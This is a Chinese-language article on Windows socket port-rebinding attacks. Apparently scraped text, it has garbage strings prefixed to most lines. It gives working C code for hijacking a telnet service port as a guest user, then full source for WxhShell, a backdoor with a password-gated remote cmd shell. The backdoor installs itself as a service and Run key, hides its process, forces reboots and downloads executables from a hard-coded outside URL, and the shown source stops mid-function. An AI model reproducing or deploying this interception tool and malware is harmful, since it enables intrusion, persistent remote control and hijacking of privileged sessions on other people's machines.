在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s!/TU{8J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A5#y?Aq gPS&^EdxA saddr.sin_family = AF_INET;
M8w5Ob }4co)B" saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n$m"]inX ~Lfcg* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P[t$\FS Kex[ >L10G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{>0V[c[~ "Clz'J]{ 这意味着什么?意味着可以进行如下的攻击:
8l/[(] & e2CV6F@a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%u?HF4S' QGiAW7b5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4^c-D SEKN|YQV/t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g.% "rXOsX\; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;??ohA"{5 ps1YQ3Ep& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;D ~L| lfk9+) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rl:KJ\*D b syq* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G,&%VQ3P> 8F;>5i #include
1;u4X`8 #include
K0+;bu #include
yI:#
|w| #include
Q/_[--0 DWORD WINAPI ClientThread(LPVOID lpParam);
]^"k8v/ int main()
pw>m.=9|y {
>L((2wfiN WORD wVersionRequested;
cu#e38M&eE DWORD ret;
KB{RU'?f| WSADATA wsaData;
vnX BOOL val;
Ex@`O+ SOCKADDR_IN saddr;
tP
~zKU SOCKADDR_IN scaddr;
3bC
yTZk int err;
}{7e7tW6 SOCKET s;
@%tXFizh SOCKET sc;
q5&Ci` int caddsize;
OKuD" HANDLE mt;
p5c8YfM DWORD tid;
+ R$?2 wVersionRequested = MAKEWORD( 2, 2 );
pLoy err = WSAStartup( wVersionRequested, &wsaData );
ed~R>F> if ( err != 0 ) {
"i'bTVs printf("error!WSAStartup failed!\n");
DrS~lTf=> return -1;
M\/XP| 7 }
Qqs"?Z,P saddr.sin_family = AF_INET;
U/MFhD(06 ateUpGM QU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q/@dR{- [_DPxM=V saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Qb^q+C)o] saddr.sin_port = htons(23);
wN]J8Ir if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;M
v~yb3v {
{'3D1#SK printf("error!socket failed!\n");
+Al>2 ~
return -1;
vM0_>1nN }
f%fa{ val = TRUE;
eVy2|n9rH //SO_REUSEADDR选项就是可以实现端口重绑定的
ft5DU/% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f|0lj {
I{.HO<$7D} printf("error!setsockopt failed!\n");
Uf,fX/:! return -1;
J2Et-Cz 1 }
,j;PRJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kM*T$JqN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=v2%Vs\7k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+Takde%~ #0y<a:}R if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
c c G['7 {
f>iuHR*EXB ret=GetLastError();
w[fDk1H) printf("error!bind failed!\n");
3l:QeZ return -1;
B#N7qoi }
.Oo/y0E^ listen(s,2);
XDmbm*~i while(1)
~^o=a?L`< {
_,;%mK caddsize = sizeof(scaddr);
o\4t4}z~'f //接受连接请求
_'iDF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
HFh /$VM if(sc!=INVALID_SOCKET)
l)}t,!M6 {
2ChWe}f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/5a;_ if(mt==NULL)
cK}Pf+r> {
,7/
_T\d< printf("Thread Creat Failed!\n");
O8 RzUg& break;
xEoip?O?7F }
r#h {$iW }
-ut=8(6& CloseHandle(mt);
=:K@zlO: }
ofCVbn closesocket(s);
Lo3-X WSACleanup();
g^lFML|
% return 0;
.j 'wQ+_ }
w!,QxrOV~ DWORD WINAPI ClientThread(LPVOID lpParam)
J%P)%yX {
S=9E@(] SOCKET ss = (SOCKET)lpParam;
b~wKF0vq SOCKET sc;
#tz8{o?ebN unsigned char buf[4096];
H`|0-`q SOCKADDR_IN saddr;
rc~Y=m long num;
Cg6;I.K DWORD val;
E`E'<"{Yd DWORD ret;
: ^(nj7D //如果是隐藏端口应用的话,可以在此处加一些判断
*FPg#a+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z`xyb>$ saddr.sin_family = AF_INET;
gduxA/aT saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q_lu`F| saddr.sin_port = htons(23);
EVz9WY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
./iXyta {
9eSRCLhgD printf("error!socket failed!\n");
/RF%1!M
K return -1;
rgR?wXW]jE }
elKx]%k*) val = 100;
g~R/3cm4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Uz>Yn&{y6 {
2]Fu
1 ret = GetLastError();
6Kht:WE return -1;
hmzair3X }
-Op@y2+c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c,BAa*]K {
j;0ih_Z@4W ret = GetLastError();
iPFL"v<#J return -1;
!$E~\uT }
wO.B~`y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mVrK z {
\9jpCNdJ printf("error!socket connect failed!\n");
"'aqb~j^ closesocket(sc);
9S"N4c> closesocket(ss);
Gc}0]!nrW9 return -1;
"o==4?*L }
=tq7z =k while(1)
Lw*1 .~ {
{{zua-F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BD4"pcr //如果是嗅探内容的话,可以再此处进行内容分析和记录
/$*; >4=>f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0~i q G num = recv(ss,buf,4096,0);
TQ~&Y)". if(num>0)
,lP7 ri send(sc,buf,num,0);
:~r#LRgc else if(num==0)
Ph"iX'J break;
Nh :JU?h num = recv(sc,buf,4096,0);
vK'9{q|g if(num>0)
5=.7\#D send(ss,buf,num,0);
qa;EI ;8 else if(num==0)
wLSjXpP8 break;
A?sNXhh }
aKOf;^@ closesocket(ss);
,E]|\_] closesocket(sc);
`E%(pjG return 0 ;
|w,^"j2R }
+DxifXtB *vXDuhQ 1l~.R#W G& ==========================================================
PIpWa$b j Q^Yj"6 下边附上一个代码,,WXhSHELL
:%>oe> _" KMe.i' ==========================================================
, Z4p0M Nq
U9/ #include "stdafx.h"
6BHPzv+Y A'b<?)Y7_ #include <stdio.h>
gm}C\q9 #include <string.h>
FBbm4NB #include <windows.h>
%N1T{ #include <winsock2.h>
iUpSN0XkMM #include <winsvc.h>
LNbx3W
oC #include <urlmon.h>
|oFI[PE y,1S&k #pragma comment (lib, "Ws2_32.lib")
6|i`@|# #pragma comment (lib, "urlmon.lib")
h
bdEw=r? z.{HD9TD #define MAX_USER 100 // 最大客户端连接数
~|qXtds$ #define BUF_SOCK 200 // sock buffer
L c{!FG> #define KEY_BUFF 255 // 输入 buffer
zo87^y5?G 'H
FwP\HX #define REBOOT 0 // 重启
Hc"N&
%X[ #define SHUTDOWN 1 // 关机
UT% #K % I}1fEw>8 #define DEF_PORT 5000 // 监听端口
B\NcCp`5 @!,D%]8" #define REG_LEN 16 // 注册表键长度
(c
1u{ #define SVC_LEN 80 // NT服务名长度
XZ;*>( vB]3Xb3a // 从dll定义API
vr<)Ay typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
W3aXW,P. V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f};!m=b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#<D@3ScC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]+FX$+H/A0 #fJwC7 4 // wxhshell配置信息
KgL<}=S struct WSCFG {
+i2YX7Of int ws_port; // 监听端口
}q/(D? char ws_passstr[REG_LEN]; // 口令
pEJ#ad int ws_autoins; // 安装标记, 1=yes 0=no
=nw,*q + char ws_regname[REG_LEN]; // 注册表键名
YcEtgpz@ char ws_svcname[REG_LEN]; // 服务名
"@aq@mY@ char ws_svcdisp[SVC_LEN]; // 服务显示名
55(J&q char ws_svcdesc[SVC_LEN]; // 服务描述信息
WNl&v] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]9dx3<2_I int ws_downexe; // 下载执行标记, 1=yes 0=no
t4C<#nfo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<[esA9.]t char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[`cdlx?Eh fc[" };
#R5we3&p ttTI#Fr2 // default Wxhshell configuration
k q/t]%( struct WSCFG wscfg={DEF_PORT,
6zELe.tq "xuhuanlingzhe",
VM=hQYe 1,
{_?T:` "Wxhshell",
{c&qB`y<. "Wxhshell",
5F% h>tqh "WxhShell Service",
PjiNu.>2( "Wrsky Windows CmdShell Service",
t00\yb^vJ8 "Please Input Your Password: ",
|C&%S"*+D 1,
@Pd)
%'s "
http://www.wrsky.com/wxhshell.exe",
BYkVg2D( "Wxhshell.exe"
8 /5sv };
#_?426Wfs H^]Nmd8Q) // 消息定义模块
ce 7Yr*ZB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
n.=e)* char *msg_ws_prompt="\n\r? for help\n\r#>";
-ryDsq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Tyg$`\# char *msg_ws_ext="\n\rExit.";
/h1dm, char *msg_ws_end="\n\rQuit.";
Fc34Y0_A char *msg_ws_boot="\n\rReboot...";
ppPG+[ cz char *msg_ws_poff="\n\rShutdown...";
]Y?{$M
G char *msg_ws_down="\n\rSave to ";
bS_y_9K uEc0/a :. char *msg_ws_err="\n\rErr!";
^aGZJiyJ char *msg_ws_ok="\n\rOK!";
3P%w-qT!N |G|* char ExeFile[MAX_PATH];
@>qx:jx(-S int nUser = 0;
/5L' 9e HANDLE handles[MAX_USER];
UIC\CP d int OsIsNt;
7yc9`j}] $]Q*E4(kV9 SERVICE_STATUS serviceStatus;
pCB
5wB SERVICE_STATUS_HANDLE hServiceStatusHandle;
:w?:WH?2L 5bu[}mJ // 函数声明
.5jnKU8NF int Install(void);
i}v}K'` int Uninstall(void);
$.suu^>^w int DownloadFile(char *sURL, SOCKET wsh);
*u:;:W&5y int Boot(int flag);
;:#?~%7> void HideProc(void);
1(#*'xR int GetOsVer(void);
b#?ai3E int Wxhshell(SOCKET wsl);
fxLE ]VJQ void TalkWithClient(void *cs);
X|lElN int CmdShell(SOCKET sock);
{[YqGv=fF int StartFromService(void);
R=#q"9qz int StartWxhshell(LPSTR lpCmdLine);
f.U0E6-(3N z'vdC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Tx|SAa=V VOID WINAPI NTServiceHandler( DWORD fdwControl );
s$SU
vo1J XvfcPI6 // 数据结构和表定义
q\\8b{~ SERVICE_TABLE_ENTRY DispatchTable[] =
tEpIyC {
N'lGA;}i {wscfg.ws_svcname, NTServiceMain},
N (:E K {NULL, NULL}
A{DIp+ };
WI*^+E&=* -dc"N|. // 自我安装
lOWB^uS% int Install(void)
c<JM1 {
KZp,=[t char svExeFile[MAX_PATH];
XwKZv0ub HKEY key;
J]kP` strcpy(svExeFile,ExeFile);
tu?Z@W/ GY0XWUlC // 如果是win9x系统,修改注册表设为自启动
oP43 NN~ if(!OsIsNt) {
X\c1q4oB[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PsF- 9&_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XudH RegCloseKey(key);
FOlA* U4U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yi
AG'[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-@gJqoo> RegCloseKey(key);
1`2);b{@ return 0;
rE
bx%u7Q }
hB2s$QS }
P!)7\.7 }
R"9oMaY else {
'NG^HLD/ ( 7rz: // 如果是NT以上系统,安装为系统服务
m<,y-bQ*( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
z1{E:~f if (schSCManager!=0)
a6#{2q {
mCC:}n"# SC_HANDLE schService = CreateService
"2vNkO## (
U 3wsWSO schSCManager,
Z,N7nMJf wscfg.ws_svcname,
<manv8*6 wscfg.ws_svcdisp,
3H\b N4 SERVICE_ALL_ACCESS,
/q*Qx )y+1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K&\BwBU SERVICE_AUTO_START,
m&8U4uHN SERVICE_ERROR_NORMAL,
[#,X$O> svExeFile,
K8yyxJ NULL,
+aXk^+~j NULL,
Hd=D#u=A4{ NULL,
@2%VU#!m NULL,
t`Y1.]@U NULL
Lv, ji_ );
R5'Z4.~ if (schService!=0)
f/IRO33 {
=@ L5 CloseServiceHandle(schService);
YfrTvKX CloseServiceHandle(schSCManager);
4? /ot;>2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1=/MT#d^?
strcat(svExeFile,wscfg.ws_svcname);
5w,YBUp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vBCZ/F[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[#
tT o;q RegCloseKey(key);
+*:x#$phx return 0;
!Wdt:MUI8 }
0%&fUz36E6 }
[6/%V>EM CloseServiceHandle(schSCManager);
'wT./&Z }
B4*X0x }
gR_b~^ {%+3D,$) return 1;
DoCQFSL }
dZ]\1""#H mn6p s6OB // 自我卸载
v @I^:I int Uninstall(void)
,G!_ SZ
{
*~t$k56 HKEY key;
8G[Y9A(bmP #LNB@E if(!OsIsNt) {
%unK8z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[r~rIb%Zj RegDeleteValue(key,wscfg.ws_regname);
\3y=0 RegCloseKey(key);
No92Y^~/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OL mBh3& RegDeleteValue(key,wscfg.ws_regname);
;hfG${l; RegCloseKey(key);
)*$ return 0;
~A:;?A'. }
8HH.P`Vk# }
]B[/sqf }
)8N)Z~h else {
^B"_b?b v_1JH<GJ- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b#\kZ/W if (schSCManager!=0)
-~Z@, {
i$LV44 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UNZVu~WnF if (schService!=0)
P".qL5 {
dn.c#,Y if(DeleteService(schService)!=0) {
~]_jKe4W CloseServiceHandle(schService);
(EF$^FYPK CloseServiceHandle(schSCManager);
I;":O"ij\ return 0;
|)P;%Fy9 }
;ZqD60%\ CloseServiceHandle(schService);
CsST-qxg }
a\.O L}"
CloseServiceHandle(schSCManager);
8`LLHX1| }
Dk{nOvZu< }
"6Hjji@A Vo9)KxR return 1;
abk:_ }
[F>n!`8 {*=5qV} // 从指定url下载文件
"d^lS@~ int DownloadFile(char *sURL, SOCKET wsh)
B=RKi\K6a {
V\7u HRESULT hr;
@1qUC"Mg char seps[]= "/";
t"74HZO> char *token;
MT#[ -M\ char *file;
7zkm char myURL[MAX_PATH];
d7-F&!sQ char myFILE[MAX_PATH];
aid)q&AcQ G}hkr strcpy(myURL,sURL);
B8#f^}8 token=strtok(myURL,seps);
"F.J>QBd while(token!=NULL)
O9 Au = {
HIp {< M3 file=token;
Rx"VscB6z token=strtok(NULL,seps);
fS$Yl~-m? }
$;`2^L NN pa69U GetCurrentDirectory(MAX_PATH,myFILE);
G?/8&%8 strcat(myFILE, "\\");
1.OXkgh strcat(myFILE, file);
T.Y4L send(wsh,myFILE,strlen(myFILE),0);
TX5/{cHd send(wsh,"...",3,0);
zm^p7&ak$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N@`9 ~JS if(hr==S_OK)
v_F?x! return 0;
FVLA^$5c else
x?k |i}Q return 1;
bA9dbe c$Nl-?W }
8w@jUGsc l=OC?d*m // 系统电源模块
V@s/]|rf, int Boot(int flag)
gdn,nL`dP {
!Q/O[6 HANDLE hToken;
~sja^ TOKEN_PRIVILEGES tkp;
++RmaZ sVl:EVv if(OsIsNt) {
'A@Oia1;{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C g,w6<7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%RF tkp.PrivilegeCount = 1;
BOcEL%+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_"e(
^yiK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
vH:+ if(flag==REBOOT) {
KB-#):' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
HQ#L
|LN return 0;
ha'm`LiX
}
7^}Z%c else {
ea;c\84_N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Tf]VcEF return 0;
I)4|?tb? }
z&G3&?Z }
v?' k)B else {
|8?{JKsg if(flag==REBOOT) {
u6&Ixi/s' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j:<T<8.o return 0;
w0>)y- }
-kS5mR else {
/]58:euR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G!lykk] return 0;
/u1zRw }
WQ`P^5e }
Z"&ODVP wx7>0[ zE return 1;
KD<`-b)7< }
JZ0+VB-3U ^rb7`s#G // win9x进程隐藏模块
R_&V.\e_ void HideProc(void)
IZ ha* 7 {
T{2//$T? ;Cpm3at HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<^$b1<@ if ( hKernel != NULL )
GdwHm {
=7Gi4X% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
fH{$LjH( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xo3)dsX FreeLibrary(hKernel);
VH*(>^OfF }
5 `mVe0uI i;
uM!d} return;
6m<9^NT }
zT 40,rk \}(-9dr // 获取操作系统版本
)u:8Pv int GetOsVer(void)
6q7Y`%j {
l@9:VhU( OSVERSIONINFO winfo;
_E-GHj>k
z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
SQCuY<mD GetVersionEx(&winfo);
E0'6 !9y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
::t!W7W return 1;
bJ[1'Es` else
#!<s& f|O return 0;
TV2:5@33 }
a.ME{:a% nsn,8a38 // 客户端句柄模块
g)Uh
int Wxhshell(SOCKET wsl)
hRiGW_t {
qt)mUq;> SOCKET wsh;
XX;%:?n struct sockaddr_in client;
m=y)i]=1 DWORD myID;
?|F;x" N1t:i? q& while(nUser<MAX_USER)
je0 ?iovY {
pfIvBU? int nSize=sizeof(client);
KWkT
9[H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~#xRoBy3 if(wsh==INVALID_SOCKET) return 1;
Fsdn2{g8U !T1i_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$:P~21, if(handles[nUser]==0)
cA^7}}?e closesocket(wsh);
QpZhxp else
0
N^V&k nUser++;
?Io2lFvI@Y }
eS+LFS7*k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=swcmab; Lf<9GYNy>` return 0;
$t?e=#G }
N($]))~3& =sJHnWL[ // 关闭 socket
[C#pMLp,~ void CloseIt(SOCKET wsh)
*]k"H`JoFC {
n*|-"'j closesocket(wsh);
Fs~-exY1 nUser--;
"R]K!GUU ExitThread(0);
`hhG^O_ }
2Ki/K( #.aLx$"a // 客户端请求句柄
6ns_4,
e void TalkWithClient(void *cs)
a&PZ7!PZv {
:H7 "W< "d\8OOU SOCKET wsh=(SOCKET)cs;
(/BkwbJyE char pwd[SVC_LEN];
CbQ%[x9| char cmd[KEY_BUFF];
@5ybBh] char chr[1];
<>GyG-q int i,j;
p5hP}Z4r 60$
while (nUser < MAX_USER) {
y2>]gX5 >TJ$Z3 if(wscfg.ws_passstr) {
vUNE!j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pu#<qD*w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2HNS|GHb& //ZeroMemory(pwd,KEY_BUFF);
&c!-C_L 2 i=0;
{,-# ;A*yW while(i<SVC_LEN) {
-"H9 W: *l}
0x@ // 设置超时
E{B<}n|}& fd_set FdRead;
"+60B0>sc struct timeval TimeOut;
hkxZ=l FD_ZERO(&FdRead);
iE5^Xik, FD_SET(wsh,&FdRead);
oPV"JGa/B4 TimeOut.tv_sec=8;
c`Cn9bX TimeOut.tv_usec=0;
`z.#O\@o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]QQ"7_+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
^m9cEl^:nQ 4 n(
f/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
W525:h52{ pwd
=chr[0]; pQi -
if(chr[0]==0xd || chr[0]==0xa) { ZG|T-r;~
pwd=0; c9'b`# '
break; l@
K<p
} x@ )u:0
i++; HmKE>C/
} ySZ)yT
j|9 2
g
// 如果是非法用户,关闭 socket I1jF`xQ&0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q[^d{e*l
} bx>D
xcA`W|M
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d+;~x*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,`b9c=6;
#c_ZU\"h"
while(1) { :Vc9||k
FS0SGBo
ZeroMemory(cmd,KEY_BUFF); V7<}
;Lzm
7y&`H
// 自动支持客户端 telnet标准 @nK08Kj-
j=0; xOH@V4z:
while(j<KEY_BUFF) { ^EZoP:x(oE
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G.8ZISN/
cmd[j]=chr[0]; W:G*t4i
if(chr[0]==0xa || chr[0]==0xd) { R<U<Y'Y
cmd[j]=0; -q27N^A0
break; Ym6[~=~EK
} +$C5V,H~
j++; xe'*%3-v)
} M'sJ5;^5
u/:@+rTV_
// 下载文件 #<:khs6
if(strstr(cmd,"http://")) { ;pJ7k23(
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
b%6_LK[
if(DownloadFile(cmd,wsh)) ,==lgM2V>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ZLs+|1
else qmGB~N|N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *(J<~:V?
} ;S/fe(C
else { .W\Fa2}%av
Om*Dy}
switch(cmd[0]) { ?p]w_l
+9t@eHJT1
// 帮助 fsu'W]f
case '?': { ]v#Q\Q8>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mb/Y
break; tfO
_b5g
} 9ZwhCsO
// 安装 Im2g2]
case 'i': { i*3'O:Gq
if(Install()) a[!':-R`s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YGB|6p(
else g"xZ{k_3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ev`p!p
break; Y (Q8P{@(
} YAD9'h]d\
// 卸载 3JwmLGj}
case 'r': { mT;z `*
if(Uninstall()) :gmVX}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lxbZM9A2
else q;+qIV&.:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1-`8v[S
break; |dvcDx0|K
} sy~mcH:%+
// 显示 wxhshell 所在路径 oPi)#|jcb
case 'p': { Ty>`r n
char svExeFile[MAX_PATH]; Wjp<(aY[
strcpy(svExeFile,"\n\r"); {az8*MR=X
strcat(svExeFile,ExeFile); CR<*<=rI
send(wsh,svExeFile,strlen(svExeFile),0); 5}f$O
break; 1K!7FiqY
} (5SI!1N
// 重启 kC)dia{$
case 'b': { x9a0J1Nb-h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K:y>wyzl
if(Boot(REBOOT)) j&F&wRD%r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); umc!KOkL
else { l ^{]pD
closesocket(wsh); u
VB&DE
ExitThread(0); |b|p0Z%7{
}
U7O2. y+
break; A\:M}D-(
} Zu!3RN[lp?
// 关机 M
C>{I3
case 'd': { L_/.b%0)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mb-C DPT
if(Boot(SHUTDOWN)) Upf1*$p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3N?uY2
else { #+XKfumLk
closesocket(wsh); f"/NY6
ExitThread(0); I;=}@]9
} p0b&CrALx
break; $uboOfS83G
} tP`,Egf"g
// 获取shell P
)`-cfg
case 's': { qRNGe8
CmdShell(wsh); <w[)T`4N
closesocket(wsh); "w N
DjWv
ExitThread(0); ?k/Uw'J4u/
break; j5AW}
} 9+pnpaZB0
// 退出 B<i1UJ5
case 'x': { =r`>tWs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X)\t=><<
CloseIt(wsh); *5wb8[
break; S#jE1 EN
} Dp>/lkk.
// 离开 U<Ag=vsZE
case 'q': { V;.=O}Lr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /6g*WX2P1
closesocket(wsh); 5<9}{X+@o
WSACleanup(); od!TwGX
exit(1); ,w
c|YI)E
break; ! @|"84
} K@+&5\y]
} (Ys0|I3
} ^,,|ED\M{m
&6h,' U
// 提示信息 }6`#u:OZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y/E%W/3
} q^EG'\<^
} s %/3X\_
5E4np`J
return; IpHGit28
} (tys7og$'
_K'YaZTa;~
// shell模块句柄 ,9=5.+AJ
int CmdShell(SOCKET sock) [i\K#O +f
{ 2wikk]Z
STARTUPINFO si; K-sJnQ23'
ZeroMemory(&si,sizeof(si)); g\d|/HVK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ge*f<#|0U-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GkVV%0;&J1
PROCESS_INFORMATION ProcessInfo; CPAizS
char cmdline[]="cmd"; t '* L,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^k/@y@%
return 0;
dCN4aY[d
} kowBB0
G8H=xr#
// 自身启动模式 </Ja@%
int StartFromService(void) |G }qY5_
{ 5Q
=o.wf
typedef struct |}=xA%)
{ bt"*@NJ$
DWORD ExitStatus; \K55|3~R
DWORD PebBaseAddress; Xbe=_9l&p
DWORD AffinityMask; Sw%^&*J
